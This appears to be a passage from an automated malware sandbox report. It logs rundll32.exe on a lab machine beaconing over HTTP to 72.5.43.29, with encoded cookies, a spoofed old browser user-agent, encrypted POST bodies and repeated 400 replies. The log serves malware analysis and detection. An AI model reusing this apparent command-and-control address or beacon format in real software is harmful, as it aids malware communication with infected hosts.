Aug 15, 2024 05:32:13.419950962 CEST	49766	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:13.419950962 CEST	49766	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:13.419950962 CEST	49766	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:13.424777985 CEST	80	49766	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:19.983828068 CEST	49767	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:19.989089012 CEST	80	49767	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:19.989222050 CEST	49767	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:19.989518881 CEST	49767	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:19.994400978 CEST	80	49767	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:20.674880981 CEST	80	49767	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:20.674900055 CEST	80	49767	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:20.674963951 CEST	49767	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:20.674963951 CEST	49767	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:20.675067902 CEST	49767	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:20.679877996 CEST	80	49767	72.5.43.29	192.168.2.4

HTTP Request Dependency Graph

72.5.43.29

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:29:33.274914026 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:29:33.979973078 CEST	153	IN	HTTP/1.1 200 OK Date: Thu, 15 Aug 2024 03:29:33 GMT Content-Length: 32 Content-Type: text/html; charset=ISO-8859-1 Data Raw: af a5 39 e1 ae 05 69 ab b7 56 35 f4 66 c1 a6 e0 78 26 73 32 9b 6e b3 1b e5 a1 a7 e7 9e f5 36 22 Data Ascii: 9iV5fx&s2n6"
Aug 15, 2024 05:29:34.005033016 CEST	535	OUT	POST / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Content-Length: 120 Connection: Keep-Alive Cache-Control: no-cache Data Raw: e4 31 93 8b 9c d0 f6 03 3e bb ef 52 64 c1 a6 e0 7b 26 73 32 9b 6e b3 1b ca a1 a7 e7 8f f5 36 22 5c fb 00 56 f2 3e 8d e0 c3 17 d9 5f dd d0 cb b4 1d a7 cc 3f b9 11 97 de 94 d1 ff 36 27 f0 9c 8f 9c 10 ec 74 6a a4 13 e9 c8 ec c6 61 56 e6 b7 2d b2 fe f8 7b 4b cc 17 0e bf 72 29 50 98 a5 bd 77 17 f3 25 e2 91 1f a5 c7 67 c5 ed fe 1f f0 bb 15 eb 2a be 50 73 b1 6c 66 Data Ascii: 1>Rd{&s2n6"\V>_?6'tjaV-{Kr)Pw%g*Pslf
Aug 15, 2024 05:29:34.220612049 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:29:34 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:29:34.245693922 CEST	415	OUT	POST / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Content-Length: 776 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:29:34.245729923 CEST	776	OUT	Data Raw: d2 37 f8 30 9c d0 f6 03 3e bb ef 52 64 c1 a6 e0 79 26 73 32 9b 6e b3 1b c6 a1 a7 e7 79 f7 36 22 52 82 31 37 a6 66 cc 87 71 62 94 2a dd c0 e5 aa 1a 85 ee 3f b8 11 c8 9a a4 f6 c4 46 52 bd d8 ca f2 3b f4 38 64 a4 5d b0 fc d2 d5 75 5e 87 cc 13 89 f5 Data Ascii: 70>Rdy&s2ny6"R17fqb*?FR;8d]u^BEECt5"PVf/PNA'~1kolX\|f6[g\CO&w`,U<Q-Di#OTaDF(\|YE0t[keH'Gt?
Aug 15, 2024 05:29:34.934056044 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:29:34 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:29:40.267796040 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:29:40.952701092 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:29:40 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:29:44.115083933 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:29:44.861294031 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:29:44 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:29:51.927395105 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:29:52.612926960 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:29:52 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:29:59.237814903 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:29:59.983433962 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:29:59 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:05.784789085 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:06.497452021 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:06 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:11.127800941 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:11.870028973 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:11 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:17.878631115 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:18.681452036 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:18 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:22.332113028 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:23.027292967 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:22 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:27.348251104 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:28.034893036 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:27 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:35.004123926 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:35.739840984 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:35 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:42.552580118 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:43.317878962 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:43 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49750	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:47.270389080 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:47.982248068 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:47 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:53.365479946 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:30:54.186480045 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:54 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:30:57.660660028 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
